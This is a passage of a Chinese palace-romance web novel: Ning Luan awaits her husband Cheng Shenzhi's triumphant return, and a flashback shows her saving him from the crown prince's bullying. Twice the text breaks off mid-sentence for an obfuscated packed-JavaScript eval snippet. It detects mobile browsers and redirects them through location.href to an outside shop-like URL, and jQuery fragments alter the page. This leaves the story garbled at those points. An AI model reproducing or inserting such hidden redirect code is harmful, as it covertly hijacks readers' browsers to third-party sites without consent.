《竹马登基前我连夜死遁了》
1. 世子回京
又是这个梦。
满地的血,浸透青石板地面。
宁鸾从府外回来,踉跄着冲进娘亲卧房,入目是满眼的猩红。
悬挂帷幔的雕花大床满布血污。站在床前的宁丞相青筋暴起,大手扼住娘亲纤细的脖颈。
“阿……鸾……”
娘亲的呼唤嘶哑低沉,她挣扎着想向宁鸾扑去,却被宁丞相抬脚踢倒在地。
宁鸾咬破嘴唇,拼命想要上前扶住娘亲,双脚却像是在地面扎了根,寒意顺着脚心蔓延上来,让她忍不住打了个寒颤。
救她!怎么才能救下她?!
宁鸾不知所措,思绪纷乱间,忽觉背上一片温热笼罩下来。迷离混沌之中,她缓缓睁开了双眼。
……
“小姐可是又梦魇了?”身着侍女外衫的青露正为宁鸾搭上薄毯,稚嫩的脸上写满了担忧。
“无妨,不过是夏日困倦,小憩罢了。”宁鸾揉了揉太阳穴,瞧着面前堆成小山的账册,没忍住又打了个呵欠。
青露打量着宁鸾神情,见当真并无大碍,这才松了口气。她转身出了卧房门,欢喜捧来一抱沾露的新荷。
粉白的花瓣衬着翠绿的荷叶,让人望之清凉。
青露步子轻快,麻利将花朵插进琉璃瓶中,那张巧嘴也没闲着,随着动作唧唧喳喳道:
“小姐,昨日世子爷已领着将士们过了洛门关。照这进度,不出三日便能抵达京州城了!”
说着话,青露抬眼望向自家小姐。虽是每日相见,她还是下意识怔了怔神。
宁鸾独坐窗下,纤手执笔,批阅世子府中采购物资的账册。一头青丝顺滑乌黑,用碧玉簪松松挽着,窗外吹进些许微风,惹得几缕散丝轻抚脸颊。
“他竟还舍得回来?”宁鸾并未抬头,笔尖流畅地落下批注。听到“三日”之期,她笔锋才微微一顿,轻声道:
“慎之这一走,竟已有三年了?不过这些年里,世子府中日复一日,确实也清静了些。”
“正是呢。”青露将插好的花束推到宁鸾面前,嬉笑着邀功,“小姐您瞧,这花开得多好,正好给您歇歇眼睛。您整日看账辛苦,待世子爷回来知道了,定是要心疼的。”
“心疼?”
宁鸾一笑,随手放下墨笔,捧起一朵粉白的荷花。
“平日竟不知你这般伶牙俐齿,莫不是听说世子凯旋归来,就惦记起赏钱来了?”她眉尾一挑,眼中尽是调侃。
“分明小姐心里最是欢喜,偏要拿奴婢打趣。不过……”青露想到了什么,凑近些压低声音:
“今早坊间都在传,世子爷大胜回京,不仅从南部带回了万千兵马,还从边境带回一位相貌出众的异族女子。”
青露犹豫了一下,绞着手帕继续说:
“若只是带回来也就罢了……可大家都说,世子爷这次是动了真心,打算纳她入府作侧妃呢。”青露顿了顿,声音放得更轻:“就连望春楼那边的消息也……”
“异族女子?”
宁鸾有些意外,托着花朵的指尖一颤,那花瓣上的露珠随之滚落,砸在案上溅开微凉的水迹。她抹开水迹,仿佛随口问道:
“是什么样的女子,竟能让我们程世子动了心?”
“小姐!”青露急得跺脚,“您可是明媒正娶的世子妃,外头人云亦云便罢了,您怎么也跟着这样说!”
“好,好,那他可一点都不动心。”宁鸾轻笑出声,眼里带着几分无奈,“那你倒说说,他是怎么个‘不动心’法?”
“您有所不知,这异族女子可招摇了!那日世子爷率军入关,将士们铁蹄踏遍城门,好一片气势恢宏!”
青露绘声绘色,仿佛铁马冰河尽在眼前,下一刻却语气一转,又愤愤不平:
“可偏偏这金戈铁马之间,在世子爷的战马后,竟紧紧跟着一顶格格不入的小轿!那轿子做得极为精巧,轿身是用浅色纱绢堆出来的,轻薄似云烟,朦胧若月影,纱帘后若有若无透出女子的身形来,竟是曼妙极了!”
宁鸾凝神思索,并未立即接话。安南王世子程慎之,向来不是沉湎美色之人,如此大张旗鼓地带一异族女子回京,定有他的缘故。
局势动荡,莫非这女子是迷惑圣上才设下的障眼法?宁鸾暗自揣测着,迅速梳理着当下的形势。
在这蜀西国,以京州城为中心,四方各设州境,分别派有亲王驻守,维护封地边境安宁。
一路向南出了京州城,南边的州便统称为南部。由立下从龙之功的开国元勋,安南王程靖镇守。
为突显皇恩浩荡,君臣亲近。皇帝圣心一动,特诏程靖的次子程慎之入宫,由太后亲自教导抚养。
这位世子虽非皇子,但在皇帝的授意下,日常起居皆与皇子相同。清晨前往尚书房念书,午后守在武演场习武,连月银用度都与众皇子一般无二,一时传为君臣和睦的一段佳话。
及至程慎之弱冠,皇帝又亲自为他指婚。将当朝丞相的嫡女宁鸾赐他为世子妃,又在城中另赐世子府,供二人起居。
待二人正式成婚后,程慎之按宫中的规矩,搬离了当初居住的太后侧殿,另立门户。
自此,程慎之便成了朝堂中最特殊的存在。他既无爵位加身,也无显赫功勋,但日日出入宫禁,享天家俸禄。
人人都道皇恩浩荡。
可唯有程慎之自己知道,身为安南王之子,日日困于京中,究竟是何种滋味。
程慎之的父亲安南王,常年驻守南部,除岁奏例行问安外,唯有新春进京述职之时,方才有机会与程慎之短暂相聚。
而南部边境再往南百里,则是异族部落的聚居地。连日的摩擦战火,让蜀西国人与异族人之间的矛盾愈发尖锐,一触即发。
如今的蜀西皇帝年过五旬,沉湎享乐,早已不复年少时的锐气。
异族部落借势崛起,招兵买马屡屡进犯蜀西。而蜀西朝中放眼望去,一时既无栋梁之才,亦无可用之将,眼看着就要被异族攻破边界。
万般无奈之下,蜀西皇帝死马当活马医,大手一挥,派安南王世子程慎之前往南部边境压阵。
胜了自是锦上添花,败了也不过是弃子一枚。主将为国捐躯,也能稳定民心。
可没成想,这位在宫中课业武艺样样垫底的程世子程慎之,竟真能转败为胜,甚至在数月中连破七城,大胜而归!
圣心大悦!当即急召程慎之归京受赏,这才有了程慎之率领大军荣耀回京的美谈。
……
思索至此,宁鸾指尖轻轻拂过荷花瓣上那些将落未落的露珠。
此时此刻,程慎之功高震主,正是如履薄冰之时。在这风口浪尖上,他竟大张旗鼓带了个异族女子回京。异族人在这京州城中,本就身份敏感,惹人猜忌。
程慎之此举,必让朝中之人更加揣测忌惮,惹平民百姓议论纷纷。
宁鸾轻叹一声,掩去心底思绪,只平静望向青露:“那么,情报里又是怎么说这异族女子的?”
青露满心为自家小姐不平,语气愈发愤然:
“世子爷一路对那异族女子关怀备至,沿途亲自命人为她挑选首饰、裁制新衣,样样料子都要最顶尖的,首饰都得最时新的!”
她甩了甩手中的帕子,冷哼一声,“这也就罢了,异族打扮毕竟与京中不同,换身行头入京也属应当。”
“可您知道吗?接她进城的那顶纱轿,是世子爷特意派人寻南部最好的工匠,加急订做的!”青露越说越气。
“如今京中好些夫人听说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576061|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那纱轿样式别致,都派人四处打听制法,想要仿造。”青露一摊手,“您猜怎么的,七拐八绕的,竟还打听到世子府上来了,咱们府中人反倒成了最后知晓此轿的。”
青露向外瞥了一眼,压低声音:
“毕竟外头传得有鼻子有眼,说世子爷出征几年,心早就变了,否则怎会对一个外人如此用心?”
宁鸾听了程慎之对那异族女子的态度,原本郁结的心思反而放松下来。她朝青露打趣道:
“说了这许多,嗓子都该干了罢?”她信手拿起茶盅,为青露倒上香茶。“说得倒如同亲眼所见,真是越来越离奇了。”
青露与宁鸾自幼一同长大,深知彼此脾性,她见小姐斟了茶也不推辞,端起茶盏便喝了起来。却听宁鸾又从容道:
“市井流言,岂能件件都当了真?外人又何曾真正知晓慎之的性情。”宁鸾指尖描摹着花瓣纹路,神色淡然。“即便他真带人回来要纳娶,咱们也无可指摘。毕竟这是世子府,不是丞相府,更不是……”
主仆二人相视一笑,眼中皆是心照不宣的了然。
“好了,账册还没看完,去点笼干松香来,让我静一静吧?”
“是,小姐!”青露将茶盏收入托盘,轻快地退了出去。
见青露合上房门,宁鸾却再无心思看账。她转眸望向瓶中那枝鲜荷,指尖微微用力,一片浅红花瓣悄然坠落,在她指间捻出绯色汁液。
残留的花茎被拧成一团深红,在窗外日光的照射下,呈现出如血一般的死寂。
以宁鸾对程慎之的了解,他确实并非坊市传言那般,是轻易动情之人。
但宁鸾心中早有疑虑,并且随着他这几年的出征只增不减。
两人虽关系特殊,但程慎之被派往南部第一年,每隔半月,宁鸾都能收到从战场传来的加急书信。
前几页是中规中矩的军事战况,后几页则情意缱绻,诉尽相思。信中曾写:
百战情藏一纸柔,剑光难掩字痕愁。
宁鸾捏着信纸,似乎都能遥遥看到,千里之外的驻扎营中,那人写完战报,敛起心神,隐晦又含蓄地写下一封封饱含牵挂的家书。
可另一个声音冷冷提醒她:这一切,或许只是程慎之的逢场作戏。
那年在宫中,程慎之曾冷漠地告诉她,他最厌烦她这样聒噪的女子,既不温柔得体,也不识疾苦艰辛,浑身充斥着娇小姐的矜持傲慢,必难懂得他在宫中挣扎生存的孤寂。
那话语如同垒起厚厚的冰墙,漠然隔人于千里之外。
他书信上的温馨小意,温情脉脉,混着昔日的冷言淡语,交杂成为掩盖两人姻缘真相的绝妙利器。
更何况随着时间的推移,信来得越来越慢,越来越少。从起初的半月一封,到三月一封,再到后来一年半载也再难收到一封。
三年烽火,打哑了蜀西与异族之间的战意,更分隔了程慎之与宁鸾之间的情意。
安南王世子程慎之,丞相之女宁鸾,本应是年少璧人,情投意合。
却在那浩荡皇恩下,成为博弈间的棋子与怨侣。
朝中局势暗流汹涌,复杂多变。
昔日被视作弃子的程慎之,如今战功赫赫,凯旋归来。
昔日里门第尊贵,金枝玉叶的宁鸾,如今身份敏感,处处如履薄冰。
年少时捧在掌心的纯真,或许早如手中碾碎的绯红花瓣,在悄无声息中已然零落成泥。
……
将揉碎的花瓣抚落案几,宁鸾重新执起狼毫,强行定下心神。
“五月十四,购文房四宝,银三两……”
廊外穿堂风忽起,带着地上散落的残红卷过案前,打着旋儿穿过朱红的院墙,飘向远方。
再也没有回来。
2. 剑拔弩张
那年的端午,御花园的榴花红得耀眼。
皇帝素爱设宴,每逢佳节,必召皇亲贵族朝中重臣,携其家眷,共度佳节。
十余岁的宁鸾身着淡黄襦裙,像尾游动的金色锦鲤,在命妇与宫女间穿梭嬉戏。发间那支蝴蝶金钗也随之振翅,仿佛下一瞬便要翩然而起。
与宁鸾交好的公主贵女们常拉她一道玩闹嬉戏,皇子们也爱逗这活泼娇俏的相府千金,常带着糖糕,或是女儿家喜欢的宫样首饰哄她。
宁丞相推杯换盏间谈笑风生,借着宴席的热络气氛不着痕迹地笼络人心。见爱女在满座宾客中言笑从容、如鱼得水,唇边掠过一丝满意的笑。
朝臣们贺过两轮,又有皇子念过祝辞,宫人们依制列队,向太清池中放入火龙船与百盏莲灯。
花灯浮波,逐水飘动,映衬着池中一人余高的竹骨龙船。那火龙船以细竹为骨,两侧龙翼装饰各色纱绢彩纸,在碧绿水面荡漾出阵阵波纹。
正是气氛热烈之时,首领太监乘坐小舟划至湖心,高举火把点燃那火龙船尾羽。只见一道火光从船尾直蹿到船头,池面上顿时流光溢彩,满座惊叹,将宴会气氛推向高潮!
宁鸾看直了眼,欣喜着不住拍掌。可待那阵热闹劲儿过去,吃完席间的糖渍桃片冰酪,她对宴上的喧闹便只剩下倦意。
见无人留意,她身子一偏,像一尾游鱼般,悄悄游进一旁的御花园。
御花园中清净无人,侍从宫人们皆在宴上伺候,此刻顾不上这些花花草草。宁鸾与蝴蝶蜻蜓打闹一番,正是不亦乐乎时,忽然听见墙侧隐约传来细微的说话声。
提起碍事的裙角,爬上墙边假山凹凸不平的石面,宁鸾屏住呼吸,探头向墙檐下望去。
只见几个锦袍少年围聚,正对一个瘦弱身影步步紧逼。那瘦弱影子虽也身着蓝色宫装,细看却与皇子的袍服不同。不仅领口少了金线缝制的云纹,腰间也失了配套的宫制丝绦,通身素净异常。
那蓝衣人衣摆处还沾着几处莫名的灰尘,肩侧更有墨迹晕染开来,像是被人故意染上的。
小宁鸾稍加辨认,锦袍少年中为首那位明黄蟒袍的男子,正是方才在宴上对着火龙船颂念祝辞的太子殿下!
“啪!”却见太子猛然合拢手中折扇,一改方才席间的温和有礼,不住冷笑道:“前几日驳了孤策论的,就是你?”
他偏头挑眉,四皇子瞬间会意,狠狠一脚踹向那瘦弱少年的腰侧。
少年闷哼一声,重重撞上宫墙,半晌未能起身。墙粉簌簌落满肩头,更显得他狼狈非常。
太子轻蔑一笑,信步向前一把攥起他衣领,“程世子,程慎之,你可真是好本事,竟能让章师傅都夸你字字珠玑。”
他五指骤然收紧,将青衣人领口下的脖颈勒出青筋。
“整日里只会讨巧卖乖,不过是一条会哄人的野狗!你这一闹,惹得父皇都训斥孤的策论技不如人,你说,该当何罪?”
程慎之被勒得吃痛,喉结艰难滚动一瞬,勉强看着面前狠厉的太子,神情愈发痛苦。
即便以他的身手,挣脱太子不过瞬息之间。
但在这皇宫里,身份尊卑决定一切。况且那日在尚书房,确实是他逾矩在先。
无非再多挨一顿打罢了。
思索至此,程慎之眼眸低垂,不发一言,只闷头忍受这一切。
但他这般作态落在太子眼中,更是显得不识抬举。
一个边关地区的小小世子,被留在宫中扣押为质,往日里低调度日便也罢了,那日竟还敢在尚书房中大放厥词,胡言乱语!害作为储君的自己,无端遭受父皇斥责,简直是罪该万死!
太子思绪急转,心底更是怒火中烧。他本已打定主意,今日必要程慎之给个明白交代,岂料对方竟真铁了心,要将这“锯嘴葫芦”一当到底!
“装哑巴?在章师傅跟前的那股伶牙俐齿,又丢到哪里去了!”太子怒极反笑,力道一松,猛地将他放开。
程慎之踉跄几步,一个不稳跌倒在地。他垂首不语,只觉身上狼狈。心知今日并非没有出路,只是闹得难看些罢了。
以太子为首的皇子们,平日与他本是井水不犯河水。
皇帝开恩,以“进宫抚养”之名,将他留在太后膝下照看。但太后常年潜心礼佛,诸事只要不闹到惊天动地,都轻易不问不管不出手。
没有权势的人行走在宫中,就连影子也比别人浅薄几分。
程慎之手撑地面勉强坐起,只觉一阵眼冒金星。透过周遭的人影缝隙,他仰面望向刺目的日光,暗自叹出口气。
这宫中果然是处处有耳,遍地皆眼,稍有不慎,便是万劫不复。
耳畔太子的斥骂与众人的讥嘲仍未休止,程慎之却恍惚想起那日的情形……
那天,他将课上布置的策论匆匆交去尚书房。
皇子们的策论早就遣小厮们交去了,唯独程慎之住处离得最远不说,待他回那小小偏殿欲做文章时,却发现那案前的墨锭不翼而飞,早不知被谁暗中摸走了。
他处境微妙,不愿为此事惊动敬事房,只得匆忙寻了太后宫中的管事姑姑,用私银换回一块积年陈旧、落满灰尘的油烟墨。一番手忙脚乱,才终于作上了文章。
迟交课业,程慎之本就心怀忐忑,脚程不停,匆匆赶往书房。没成想正巧遇见白日授课的章师傅,此刻留值在尚书房内,正专心批阅文章。
透过镂空窗棂,他瞧见章师傅提笔端坐案前。平日精心打理的宝贝胡子,此时已被捻成了歪歪扭扭的打结麻花。
程慎之悄声进门,只见案头零散摊着数张宣纸,正是皇子们的策论。章师傅眉头紧皱,朱笔悬停,程慎之不动声色瞟过,心头蓦地一沉。
章师傅正批阅的这篇,他虽未看清前后内容,但一眼便瞥到中间几句对《资治通鉴》的批注极偏,一句“周世宗暴虐”简直堪称歪理。
反复咀嚼几句,程慎之心中猛然腾起一股郁气,虽是几度压制,却还是忍不住低声叹道:
“虽有周世宗毁佛铸钱在先,可若仅凭于此就草草断言,世宗之治“暴虐无道”,使“民生凋敝”,岂非因噎废食?”
他声音虽轻,却字字清晰,漆黑眼眸中尽是无奈。
“世宗虽不德,却减免赋税,整顿官吏,救民于水火。为君者心怀百姓,志于仁善,岂能以一事而掩大德!”①
程慎之自认人微言轻,不过喃喃自语,却字字撞入正恼火着的章师傅耳中。
章师傅听得愣神,手中朱笔一落,一滴朱砂落在课业上,正好污红其中一个“暴”字。他回过神来,忙道:
“好!说得好哇!”
章师傅全名章承景,两朝帝师,曾任礼部尚书。他一生克己奉公,德高望重。如今年近古稀,无心功名利禄,后来自请推去朝中官职,进尚书房掌教育启蒙一事。
章师傅授课素以严师著称,连当今皇帝都得他开悟,得敬他三分,先帝更是以御笔亲题“经师人师”,足见其地位尊崇。
诸多卷宗,他最喜“为政以德”,常言君王当以德载舟。今早批阅众皇子课业,见多数策论言论平平,更有甚者毫无恤民之心,正觉失望至极。
而程慎之这话虽轻,却如拨云见日,话音未落,就让章承景眼中精光乍现。
章承景竭力回想这少年的身份,一时却只忆起他单薄却挺拔的身影。
程慎之总在清晨磬响前悄无声息入座,课业结束后黯然离开。既不像太子一行人高谈阔论,也不似四皇子之流插科打诨,整日只知喧闹起哄。
章承景曾听收拾笔墨的小厮们闲聊,说程世子像御花园的深井,“得扔块石头进去,才听得到个响儿。”
如今想来,这话倒真切得很。
一篇写得比石头还硬的策论,终于将程世子这口深藏不露的井,激出了一声响。
尚书房窗外竹林青葱,微风吹过,传来林叶交错的沙沙声。
若非昨日课上一时兴起,临时布置策论,倒真让这腔不开气不出的小子明珠蒙尘了。
心情转好的章承景抚顺了胡子,放下朱笔笑呵呵道:
“你是安南王家的世子,程慎之?”
“是。”程慎之双手递上策论,“学生交迟了,还请师傅责罚。”
章承景拿过策论,垂眸一看,只见通篇字迹亭然若松,墨迹浑浊但酣畅淋漓。
他静心逐字读去,这篇策论引经据典,通篇无一句空谈,层层剖析之下言之有物。言及民生艰苦,字里行间更是心怀悲悯。
章承景激动拍案:“好一个''仁政非止减税,更在问疾苦''!”
章承景抬头看向程慎之,严肃道:“这篇策论当真出自你手?”
“学生不敢欺瞒。”程慎之俯身作揖。
窗外正是残阳。太阳落山前的最后一缕阳光,沿着窗口直直照射进来,给程慎之的侧脸打出锋利的轮廓。
章承景深吸口气,上下打量程慎之一圈,忽地一顿。他手上的策论被阳光映得透亮,显出几分不真实的浮光来。
程慎之站在光影交错处,低垂的睫毛被光打出深邃的影。他张了张口,却没发出一丝声音,硬生生将话吞了下去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576062|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>章承景叹了口气,这世子小小年纪,在宫中孤身一人,能生存下去已是不易。然未出宫墙,身处困顿,竟还能心怀天下、体恤黎民,这般品行,实属难得。
好苗子有了,却是轻易培养不得。
可惜,可惜啊。
章承景抚了抚小胡子,暗自思量,正欲摇头,却听到程慎之突然开口:
“章师傅,这篇策论可以是某位皇子所写,可以是伺候笔墨的小厮所写,却不能是安南王世子程慎之所写。”
“您说,是吗?”他眼中流转着忐忑,声音却低沉而坚定。
章承景明白,不过几瞬间,程慎之已理清其中利害关系。在宫中藏不住拙,锋芒毕露,对这世子而言便是灭顶之灾。
程慎之自然也明白这道理。他的回答,正如眼前对御花园中这一幕般。
太子的心思,程慎之不是不知。
那日太子的策论虽有偏颇,但见解本无定论,原不至闹大于此。坏就坏在这事莫名在宫中传开,甚至传到了皇上的耳中。
人人都道章师傅看重程世子而轻慢太子,流言纷纷,蜚语不断,以太子极重颜面的性子,又岂会轻易放过他和那些传谣之人?
怕是早就心有不甘,伺机而动。
今日宫中大宴,人多事杂,众目睽睽之下“教训”一个南部来的落魄世子,再合适不过。事后最多被说成是小辈玩闹,并不会上纲上线惩罚。
若欺负的是别的皇亲国戚或许尚需顾忌,可程慎之呢?
他幼时进宫,明面上由太后亲自教养,可一旦安南王爷在南部有异动,第一个以血祭旗振奋士气的,就是这位所谓在宫中养尊处优的世子殿下。
虽身份微妙,他的日常吃穿用度却仍由专人安排,明面上叫人挑不出错处来。
程慎之每日卯时三刻起身,与皇子皇孙同去尚书房进学,午时初刻或习骑射,或依例向太后行礼问安。
……尽管那位皇太后深居礼佛,他虽多次拜访请安,却一次也未曾得见。
没了太后依仗,程慎之孤身一人在宫闱之中,身边的嬷嬷丫鬟早混成人精。知道世子不讨宫里的主子们欢心,便对诸事更加懒散,能糊弄则糊弄过去。
更何况,太后本就常年不问宫事,近日更称凤体欠安,免了端午宴席,连宫嫔请安都一概不见。
宴后连着三日休沐,前朝不设早朝,宫内侍奉的宫人们也轮班休息。太子睚眦必报,却也懂得择时出手。
在端午宴间动手,既可说作节庆玩闹,又无其他后顾之忧。
此刻见程慎之仍不回应,太子咬牙冷笑,亲自上前,将刚撑起身的程慎之狠狠推倒在地。
“二哥,这小子是个硬骨头,别脏了二哥的手,我来教训他!”一旁微胖的四皇子应声上前,表情戏谑。他一手拉起程慎之,一手高高扬起,眼看就要重重落下。
程慎之知道今天在劫难逃,猛地闭上了双眼。他听见破空声从耳旁掠过,绝望又无奈地等待着疼痛的来临。
可意料之中的疼痛并未到来。
程慎之惊讶睁眼,仰头望去,逆光中站着个身穿鹅黄宫装的娇小身影。那小小的人儿抬出两手,用力攥住了四皇子的衣袖。
这是哪位公主?还是谁家的小姐贵女?
没等他细思量,眼前的女子已是娇俏扬声道:“四皇子哥哥耍赖!”
四皇子被她扯得手臂晃荡,只得卸了力道,无奈道:“宁鸾妹妹,你可别乱讲啊,本皇子几时耍过赖?”
那女子气鼓鼓地,埋怨道:
“上次明明说好了,等我进宫,四皇子哥哥要在御花园里陪我躲猫猫!今天殿下明知我进宫了,却躲在这跟别人玩耍打闹。”
她抱臂跺脚,轻哼一声,“以后再也不跟你们玩了!”
程慎之脑中一痛,只觉耳旁嗡嗡,女子的话支离破碎,零散钻进他的脑海。
别的不说,这姑娘的嗓门……可真大啊。
逆光下,他仰头看去,那女子将青丝半挽,以金蝶钗固定住,余发编成长辫,用彩蝶发带束了,精巧蝴蝶在行动间翩然起飞。
许是不想过于素净,她发辫中点缀几颗银丝攒成的珠花。花瓣经过工匠的巧思,盘出自然细腻的纹路,每一朵花心都托着颗滚圆的珍珠,衬得人明亮又娇俏。
虽未看到这姑娘的样貌,但想来定是位如珍珠般莹然明媚的女子。
四皇子本欲发作,被宁鸾这般一搅,一时进退两难。
御花园一角的紧张气氛,竟因她的清脆笑声,悄然缓和起来。
“宁鸾妹妹……?”
3. 当年如今
“太子哥哥,你也欺负我!”没等四皇子说完,宁鸾便松开手,提起裙摆轻盈地跳到太子面前。
她眨巴着眼睛,不知从哪儿变出个油润饱满的雪桃,不由分说塞进太子手中。
太子握着桃子,指尖一颤,掌心传来温热的触感,却衬得那桃仿佛千钧沉重。
“妹妹何处此言?”太子揣了折扇,一手托着那桃,无奈地看着宁鸾,语气里藏着不易察觉的宠溺。
“太子哥哥先前明明说,那蝴蝶簪子与我不相衬,要赏我一支更好的金蜻蜓呢!我在府里日思夜想地盼着,就怕太子哥哥跟别人玩得高兴,早将这点小事忘到脑后去了!”
宁鸾瞥过一眼程慎之,抬手轻轻拂过发间的蝴蝶金簪,又拽了拽绑发的蝴蝶缎带,不太高兴地撇撇嘴。
见她这般娇憨情态,太子心头的烦闷早已散去大半。他目光落在宁鸾明媚的眉眼间,思绪却已转到了她身后那座权倾朝野的丞相府上。
近年皇上倦怠朝政,宁丞相作为天子的心腹重臣,只言片语甚至能左右东宫废立,可谓一人之下万人之上。
在这深宫之中谁人不知,圣上虽称万岁,可□□凡身,终究难逃百年之期。若能得宁丞相青眼,便等于在夺嫡之路上抢先一步。
也正因如此,诸位皇子谁不竞相向她示好?都唯恐一不小心惹她不快,回头在丞相跟前诉几句委屈,传入圣听,平白沾上恶名。
思及至此,太子压下最后一丝恼怒,脸上端起温和笑意:
“妹妹这话便是冤枉孤了,孤早命宫中巧匠备好首饰,只待赠予妹妹。”他一个眼色递向贴身太监,“还不快回宫去取。”
见那小太监忙不迭去了,太子转过身看向程慎之。
本想趁着宴席,找个角落好好整治一下这边境世子,偏被不知从哪冒出来的宁鸾撞见。
宁鸾年纪尚小,看到这种上不得台面的事,未必辨得清其中门道,但若传扬开来,闹到明面上,圣上和朝中重臣如何判别,便非他所能掌控。
若是处置不当,最坏得落个欺凌他人的名声。不如趁着当下事态还未严重,就此罢手,往后有的是机会收拾这位世子殿下。
心念既定,太子当即佯装才见程慎之狼狈,亲自上前将他扶起,扬声说道:
“今日宫宴,大家与程世子玩闹一番,不小心有磕碰也属常事,还望世子不要挂心才好。”
这便是给今日之事定了性了。宁鸾眨巴着眼睛,扭头看向诸位皇子。
“慎之无碍,多谢殿下关怀。”程慎之顺势而下,低头掩住眼中的阴鸷,袖中的掌心却快掐出指痕。
太子还想多说些什么,却见御花园另一头,御前太监王公公一路小跑,练头上的红缨穗子都散乱几分。他奔至几人身前,匆匆行过礼,喘着粗气道:
“拜见太子殿下!原来您在这儿,皇上正寻殿下您呢,还请速速前往,别让皇上久等才是。”
一听圣谕,太子及其众人当即也顾不得其他,立刻转身欲随王公公离去。
太子被众人簇拥着走出几步,想了想却又忍不住回头。
“宁妹妹,那金钗孤自会派人送来,你只管赏玩。近日宫中事务繁杂,还望妹妹在宁丞相面前,多为孤美言几句。”
宁鸾嫣然一笑。“太子哥哥放心,那是自然。”
太子心中稍定,这才率众匆匆离去。
眼见着一行人走远,宁鸾索性也放松下来。她伸了个懒腰,几步扑到程慎之面前,伸手就欲查看他的伤势。
方才在墙沿上她看得分明,程慎之被几人一路推搡着跌向墙角,四皇子那一脚更是又狠又厉,正踹在他腰背之间。那力道下去,定是伤到内里了。
程慎之也自觉背上闷闷的发痛,见宁鸾伸手过来,心下一惊。他脚下本就发软,一时不稳竟又跌坐下去。索性四下里无人,他便暂且靠墙歇息。
“别乱动。”宁鸾一手搭上他的脉搏。“你得敷跌打药膏,怕还得喝上几天苦药。以四哥哥那力道,皮肉上肯定乌青一片了。”
“我……”
还没等程慎之说出什么,宁鸾已毫不避讳地伸手拨开他的衣领,仔细察看他胸前被踹的伤势。
“你?!”
这下程慎之又惊又惧,也顾不上什么腰痛腿痛,直接从墙角蹿起身来。
宁鸾见他情状,也无奈地拍拍手站起身来,撇着嘴道:“你什么你,本小姐好心帮你看伤势,你倒还不乐意了。我娘亲医术高明,我日夜学着,旁人想让我瞧都没门儿呢。”
她小声嘀咕,“你还摆出一副被我占了便宜的模样……”
无视程慎之打翻了染缸般的表情,宁鸾眨眼间已确认了他的伤势。她稍一思索,转身便跑。
“太医院离这不远,我去给你搞点白玉凝脂膏来,等我!”
程慎之张了张口,想大喊叫住她,抬起的手已悬在半空。可抬眼望去,宁鸾早已跑远,发带上的彩蝶随着她的跑动上下翻飞,宛若鲜活。
“宁妹妹……宁鸾?”
程慎之的低语消散在风中,声线里带着一丝陌生的悸动。
入宫数载,他本以为自己早已习惯了宫中的拜高踩低。
初来时,侍奉的宫人们连奉茶都屏住呼吸,小心翼翼。笔墨纸砚从未有缺,甚至案前的墨水都研磨得浓淡相宜。
可自从太后对他显露出漠然,甚至觉得他早起读书,都是扰了佛家清净,开口将他迁至宫中最荒僻的宫殿后,一切便悄然改变。
那里夏日闷热难耐,冬日寒冷透风。
久而久之,宫人们逐渐放肆怠慢,皇子们也愈发肆无忌惮。
安南王远在南部,无诏不得入京。安南王一脉中有交情的朝臣,也都瞧着皇上脸色行事,早早与这位身份尴尬的世子划清界限,唯恐惹祸上身。
春去秋来,程慎之已然麻木,日复一日在宫里磋磨时光。
今日御花园这场闹剧,他并非没有预料。
太子一党最近看他格外不顺眼,在尚书房课堂上都明里暗里使绊子。这次借着宫宴,太子如此明目张胆,失了往日沉稳,倒在程慎之意料之外。
更在程慎之意料之外的,是宁鸾的出手相助。
程慎之自然不会天真到以为,宁鸾的突然出现,只是为了讨一支蜻蜓花钗。
她像是九天神女座下的金色蝴蝶,自甘堕落,跌进了他这方陈旧而破烂的蛛网里。
蜘蛛久居洞穴,早已习惯了潮湿与阴暗,习惯于在饥饿中蛰伏。面对这突如其来的闯入者,他竟有些惶然无措,想下意识缩回黑暗的阴影中。
他渴望牢牢抓住这只跌跌撞撞闯来的金蝶,却又怕唐突的举动会惊走了她,惊醒了自己,让这一切终究换得黄粱一梦。
看着远处捧着锦盒飞奔而来的小太监身影,程慎之第一次如此清晰地下定决心:他要紧紧抓住这束光,然后……逃离这片黑暗。
……
御花园那场风波过后,宁鸾与程慎之确实度过了一段难得的轻松时光。
近日尚书房散学总早了些,太子抱手立在庭院槐树下,冷眼瞥见宁鸾提着裙摆,像小鸟般穿过游廊,欢呼着飞进尚书房中,撞破里面满是“之乎者也”、沉闷乏味的空气。
透过蝠纹梨木窗棂,太子看到宁鸾几乎整个身子都探过了案几,正踮着脚尖,奋力去夺程慎之手中的墨笔。程慎之将笔上举,她便跟着去够,那模样不管不顾,活像皇后宫里那只爱扑蝴蝶的波斯猫。
“快给我嘛!”
她发髻插了支银铃,随着动作起伏剧烈摇晃。滚圆的铃身中银珠交击,碰撞出铃铛应有的清脆声响。
程慎之慌忙用袖口捂住写到一半的典籍批注,一面又不敢真的使力推拒她,一时间竟被逼得层层败退。
手上狼毫墨笔挥舞,已在书页上溅开两个深邃的墨点。
“哎——我的书!”
程慎之放下毛笔,赶紧捧起书一看,遭殃的恰是那本惹祸的《资治通鉴》。他看看顶着俩黑疙瘩的书,又抬头看看宁鸾亮晶晶的眼,终究是败下阵来,揉着额角无奈笑道:
